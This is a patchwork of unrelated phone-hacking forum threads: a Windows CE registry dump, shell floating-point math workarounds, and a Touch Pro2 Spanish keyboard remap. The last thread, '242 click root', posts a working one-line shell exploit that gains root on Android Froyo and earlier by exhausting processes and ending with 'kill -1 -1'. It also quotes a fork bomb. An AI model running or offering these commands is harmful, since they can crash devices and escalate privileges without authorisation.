[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC2]
"DefaultFileSystem"="FATFS"
"Name"=""
"PartitionDriver"=""
"Folder"=""
"MountFlags"=dword:6
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC2\FATFS]
"Flags"=dword:14
"FormatTfat"=dword:1
"CheckForFormat"=dword:1
"EnableWriteBack"=dword:1
"DataCacheSize"=dword:00000080 ;128 sectors(128*512=64KB)
[HKEY_LOCAL_MACHINE\System\StorageManager\AutoLoad\TRUEFFS_DOC2]
"DriverPath"="Drivers\\BuiltIn\\TrueFFS2"
"LoadFlags"=dword:1
"Order"=dword:0
"Bootphase"=dword:1
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn\TrueFFS2]
"Profile"="TRUEFFS_DOC2"
"Index" = dword:3
"Dll"="TrueFFS_G3.dll"
"Prefix"="DSK"
"Order" = dword:0
"Ioctl" = dword:4
"Use8Bit" = dword:1
"WindowBase" = dword:00000000
"IClass"=multi_sz:"{A4E7EDDA-E575-4252-9D6B-4195D48BB865}"
"AutoDPDMode" = dword:1
"SoftwareWriteProtect"=dword:0
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC1]
"DefaultFileSystem"="FATFS"
"Name"=""
"PartitionDriver"=""
"Folder"="Storage"
"MountHidden"=dword:0
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC1\FATFS]
"Flags"=dword:14
"FormatTfat"=dword:1
"EnableWriteBack"=dword:1
"DataCacheSize"=dword:00000080 ;128 sectors(128*512=64KB)
[HKEY_LOCAL_MACHINE\System\StorageManager\AutoLoad\TRUEFFS_DOC1]
"DriverPath"="Drivers\\BuiltIn\\TrueFFS1"
"LoadFlags"=dword:1
"Order"=dword:1
"Bootphase"=dword:1
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn\TrueFFS1]
"Profile"="TRUEFFS_DOC1"
"Index" = dword:2
"Dll" = "TrueFFS_G3.dll"
"Prefix" = "DSK"
"Order" = dword:1
"Ioctl" = dword:4
"Use8Bit" = dword:1
"WindowBase" = dword:00000000
"IClass"=multi_sz:"{A4E7EDDA-E575-4252-9D6B-4195D48BB865}"
"AutoDPDMode" = dword:1
"SoftwareWriteProtect"=dword:0
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC2\FATFS\Filters\fsreplxfilt]
"dll"="fsreplxfilt.dll"
"order"=dword:1 ; must be loaded before other filters
[HKEY_LOCAL_MACHINE\SOFTWARE\OEM\ATDbgLog]
"Enable"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\OEM\Power]
"Critical5"=dword:00000001
init section
[HKEY_LOCAL_MACHINE\init]
"Launch40"="LoadDialogInitExe.exe"
"Depend40"=hex:14,00,1E,00
"Depend50"=hex:14,00,1E,00
"Depend20"=hex:0A,00
"Launch10"="shell.exe"
"Depend70"=hex:1E,00
"Launch70"="connmgr.exe"
"Launch50"="shell32.exe"
"Depend30"=hex:1C,00
"Launch30"="ciphaseui.exe"
"Depend61"=hex:32,00,3C,00
"Launch61"="ciphase2.exe"
"Depend21"=hex:14,00
"Launch21"="coldinit.exe"
"Depend28"=hex:15,00
"Launch28"="gwes.exe"
"Depend60"=hex:14,00
"Launch60"="services.exe"
"Depend100"=hex:3C,00
"Launch100"="uptimesqm.exe"
"Launch20"="device.exe"
Thanks, but i mean one file which or code which is first to load system that command.com on pc. I think that must be similar like pc but i dont know. There must be some code to init system. If someone know which or where the code is, please post
Read MSDN. Win CE 5.0 boot process is described there.
ftoz said:
Thanks, but i mean one file which or code which is first to load system that command.com on pc. I think that must be similar like pc but i dont know. There must be some code to init system. If someone know which or where the code is, please post
Click to expand...
Click to collapse
Hi,
I believe you mean NK.Exe (The kernel), please see the two links below on MSDN for more info.
http://msdn2.microsoft.com/en-us/library/aa909237.aspx
http://msdn2.microsoft.com/En-US/library/aa908987.aspx
Cheers,
Beasty

floating point arithmetic? - hack job workaround now included

is there a way to do floating point arithmetic in terminal?...or would bc binary need to be included since busybox does not have it? as of now you get a syntax error if using fp numbers in expression..or 0 when using division and result is a floating point.
Code:
# echo $(( 1 + 1 ))
echo $(( 1 + 1 ))
2
# echo $(( 1.0 + 1.0 ))
echo $(( 1.0 + 1.0 ))
arith: syntax error: " 1.0 + 1.0 "
# echo $(( 1 / 2 ))
echo $(( 1 / 2 ))
0
sh/bash has no native support for floating point math, so your solution must involve a binary executable. You can either use bc, or you can write a very simple C program and compile it for this platform....
i.e.,
Code:
//math.c
#include <stdlib.h>
#include <stdio.h>
int main (int argc, char ** argv){
float a = atof(argv[1]);
char op = argv[2][0];
float b = atof(argv[3]);
if (op == '+') printf("%f\n",a+b);
else if (op == '-') printf("%f\n",a-b);
else if (op == 'x') printf("%f\n",a*b);
else if (op == '/') printf("%f\n",a/b);
return 0;
}
$ ./math 1.5 + 2
3.500000
$ ./math 1.5 x 2
3.000000
$ ./math 1.5 - 2
-0.500000
$ ./math 1.5 / 2
0.750000
Oh and FYI, don't forget you can use variables in there, i.e.
$ A=1.5
$ B=2
$ OP=/
$./math $A $OP $B
0.750000
Is this the appropriate forum?
jdstankosky said:
Is this the appropriate forum?
Click to expand...
Click to collapse
Sorry, are you a moderator? :/
And yes, since this is a development matter, I'd say it falls within the DEVELOMPENT section..
lbcoder said:
sh/bash has no native support for floating point math, so your solution must involve a binary executable. You can either use bc, or you can write a very simple C program and compile it for this platform....
i.e.,
Code:
//math.c
#include <stdlib.h>
#include <stdio.h>
int main (int argc, char ** argv){
float a = atof(argv[1]);
char op = argv[2][0];
float b = atof(argv[3]);
if (op == '+') printf("%f\n",a+b);
else if (op == '-') printf("%f\n",a-b);
else if (op == 'x') printf("%f\n",a*b);
else if (op == '/') printf("%f\n",a/b);
return 0;
}
$ ./math 1.5 + 2
3.500000
$ ./math 1.5 x 2
3.000000
$ ./math 1.5 - 2
-0.500000
$ ./math 1.5 / 2
0.750000
Oh and FYI, don't forget you can use variables in there, i.e.
$ A=1.5
$ B=2
$ OP=/
$./math $A $OP $B
0.750000
Click to expand...
Click to collapse
thanks for the info. very helpful.
script workaround
i have constructed a workaround for doing fp math for determining partition sizes.
it's not pretty, but it gets the job done.
basically, it goes like this:
1. check to see if the number passed to the function is an integer
2. if not, i search the string for a "."
3. if the search turns up a "." (and units in GB) i break the number into two whole numbers (the integer portion..before the decimal, and the fraction portion after the decimal).
4. do the appropriate math on the integer section.
5. do the appropriate math on the fraction section, then divide by 10^#of digits after the decimal place.
6. add the two numbers together and voila! a hack job, floating point calculation.
Code:
ValidateSizeArg() {
# check for zero-length arg to protect expr length
[ -z "$1" ] && ShowError "zero-length argument passed to size-validator"
SIZEMB=
ARGLEN=`expr length $1`
SIZELEN=$(($ARGLEN-1))
SIZEARG=`expr substr $1 1 $SIZELEN`
SIZEUNIT=`expr substr $1 $ARGLEN 1`
# check if SIZEARG is an integer
if [ $SIZEARG -eq $SIZEARG 2> /dev/null ] ; then
# look for G
[ "$SIZEUNIT" == "G" ] && SIZEMB=$(($SIZEARG * 1024))
# look for M
[ "$SIZEUNIT" == "M" ] && SIZEMB=$SIZEARG
# no units on arg
[ -z "$SIZEMB" ] && SIZEMB=$1
# check if SIZEARG is a floating point number, GB only
elif [ `expr index "$SIZEARG" .` != 0 ] && [ "$SIZEUNIT" == "G" ] ; then
INT=`echo "$SIZEARG" | cut -d"." -f1`
FRAC=`echo "$SIZEARG" | cut -d"." -f2`
SIGDIGITS=`expr length $FRAC`
[ -z "$INT" ] && INT=0
INTMB=$(($INT * 1024))
FRACMB=$((($FRAC * 1024) / (10**$SIGDIGITS)))
SIZEMB=$(($INTMB + $FRACMB))
# it's not a valid size
else
ShowError "$1 is not a valid size"
fi
# return valid argument in MB
FUNC_RET=$SIZEMB
}
I was a basic/qbasic/gwbasic programmer in my younger days (like 12-14 yrs old)...
I feel ashamed that I have no idea of what this stuff is anymore. Thank God for guys like you.

Solved-How To change My Sprint TP2 hardware keyboard to Spanish-Solved

Hi all.
I have a Sprint TP2. I want to change my hardware keyboard to spanish layout. I searched al the night and i cant found the way. so any body knows how to change my keyboard to spanish???
Thanks in advance.
SOLVED
After a long search I found the solution: YESSSSSSSSS
The keyboard mapping it's setting by the ".txt" file in the REG KEY:
"HKEY_LOCAL_MACHINE\SOFTWARE\Tegic\eT9\Ime\Keyboar dLayouFiles\07FF:"Name of the file.txt")
The ".txt" specifies the hardware keyboard mapping. These file are located in the \windows\ directory in the TP2. We can edit the file as we want. I edited my file like this:
"
//
// N O T E: This file must be saved as Unicode
//
// This file contains the virtual keys mapping table for the
// Raphael device World-Wide English QWERTY layout.
// The mapping table is defined as follows
//
// VK_TPOUND = 0x78
// VK_TSTAR = 0x77
// VK_TAB = 0x09
//
// We do not support escape value yet. So the key/char values should be
// entered explicitly or by encoding start with 0x
//
// Format:
// {VK VK1 VK2 CH1 CH2}
// VK -> value from keyboard driver
// VK1 -> key mapped, interpret by IME
// VK2 -> key to interpret when for press and hold
// CH1 -> symbols produced by Fn + key
// CH2 -> symbols in 123 mode
// CH4 -> Key Index
// Row 1
{1 1 1 ! ! 0xff}
{2 2 2 @ @ 0xff}
{3 3 3 # # 0xff}
{4 4 4 $ $ 0xff}
{5 5 5 % % 0xff}
{6 6 6 ^ ^ 0xff}
{7 7 7 & & 0xff}
{8 8 8 * * 0xff}
{9 9 9 ( ( 0xff}
{0 0 0 ) ) 0xff}
// Row 2
{Q Q Q ¡ ¡ 0x00}
{W W W - - 0x01}
{E E E É É 0x02}
{R R R R R 0x03}
{T T T + + 0x04}
{Y Y Y = = 0x05}
{U U U Ú Ú 0x06}
{I I I Í Í 0x07}
{O O O Ó Ó 0x08}
{P P P _ _ 0x09}
// Row 3
{A A A Á Á 0x0a}
{S S S S S 0x0b}
{D D D : : 0x0c}
{F F F F F 0x0d}
{G G G G G 0x0e}
{H H H \ \ 0x0f}
{J J J / / 0x10}
{K K K ' ' 0x11}
{L L L " " 0x12}
{0x08 0x08 0x08 0xF02E 0xF02E 0xff} // BACKSPACE - 0x08 = VK_BACK, 0x2E = VK_DELETE
// Row 4
{0x10 0x10 0x10 0x14 0x00 0xff} // CAPS - 0x14 = VK_CAPITAL
{Z Z Z ¿ ¿ 0x13}
{X X X X X 0x14}
{C C C Ç Ç 0x15}
{V V V V V 0x16}
{B B B ; ; 0x17}
{N N N Ñ Ñ 0x18}
{M M M ? ? 0x19}
{0x26 0x26 0x26 0xF021 0xF021 0xff} // UP - 0x26 = VK_UP, 0x21 = VK_PRIOR (PAGE UP)
{0x0D 0x0D 0x0D 0x0D 0x0D 0xff} // ENTER - 0x0D = VK_RETURN
// Row 5
{0xEC 0xEC 0x00 0x00 0x00 0xff} // FN - 0xEC = FN
{0xF2 0xF2 0x00 0x00 0x00 0xff} // MSG - 0xF2 = MSG
{0xEB 0x93 0x00 0x00 0x00 0xff} // SMS - 0x93 = SMS
{0xBC , , 0xE9 0x00 0xff} // SYM - 0xE9
{0x20 0x20 0x20 0x12 0x20 0xff} // SPACE - 0x20 = VK_SPACE, 0x12 = XT9 Menu
{0xBE . . 0x00 0x00 0xff}
{0x25 0x25 0x25 0x92 0x00 0xff} // LEFT - 0x25 = VK_LEFT
{0x28 0x28 0x28 0xF022 0xF022 0xff} // DOWN - 0x28 = VK_DOWN, 0x22 = VK_NEXT (PAGE DOWN)
{0x27 0x27 0x27 0xF3 0x00 0xff} // RIGHT - 0x27 = VK_RIGHT
{0xE9 0xE9 0xE9 0x00 0x00 0xff} // SYM - 0xE9"
Like you can see, it's pretty easy. If i want a accent vocal I just press the FN key follow by the vocal key, and voila.
Cheers
Actualization:
After solved my issue, "Sonje" from the "HTC Manía" forum (http://www.htcmania.com/showthread.p...d=1#post678520) suggest me the next link.
http://www.htcmania.com/showthread.php?t=67632
In the link "Superjuani" suggest a program, but I didn't test it, buy I share the link if you want to try it
http://www.htcmania.com/showpost.php...2&postcount=10
Could You helpme???
Hi,
any body???
please, i need your help.
This don´t run over touch pro2, please other solution.
http://wiki.xda-developers.com/index.php?pagename=Raphael_Keyboard
THanks.

242 click root - obtain root via shell script

Inspired by rage against the cage, I thought this exploit should be possible by shell script. Wanting a nice simple one liner like:
Code:
:(){ :|:& };:
But this uses too much memory per forked process and does not persist when controlling terminal exits.
After much hacking:
f(){ trap "exec sleep 900" 0; trap echo HUP ; sleep 1; while true; do sleep 1 | sleep 1 & done } ; ( f & ) ; ( ( trap f HUP ; while true ; do cat ; done ) & ) ; ( trap "exec kill -1 -1" 0 ; while true ; do echo z | echo z ; sleep 10 ; done )
Code:
f(){ trap "exec sleep 900" 0; trap echo HUP ; sleep 1; while true; do sleep 1 | sleep 1 & done } ; ( f & ) ; ( ( trap f HUP ; while true ; do cat ; done ) & ) ; ( trap "exec kill -1 -1" 0 ; while true ; do echo z | echo z ; sleep 10 ; done )
Tested on emulator and froyo galaxy tab but should work on any froyo android or earlier.
This only requires an android terminal, eg jackpal's android terminal emulator(based on original android sources)
Simple type it in at the $ prompt. The terminal will automatically end. On my froyo galaxy tab it autorestarts but other systems may require you to restart the terminal.
If your not keen on your 242 clicks copy the shell command into a text file and save/copy to /sdcard/z then simply at prompt
Code:
$ . /sdcard/z
This does not require adb, busybox or anything else, you don't even need usb debugging on.
Enjoy.
Richard.
Any chance it would work on Honeycomb 3.1? The Toshiba Thrive hasn't been rooted yet so we're looking for a way.
I doubt it. It uses the same exploit as rage against the cage. Fixed in gingerbread, and I am pretty sure honeycomb as well. This is not a new method of getting root just a novel way of reimplementing an exiting one.
Richard.

Categories

Resources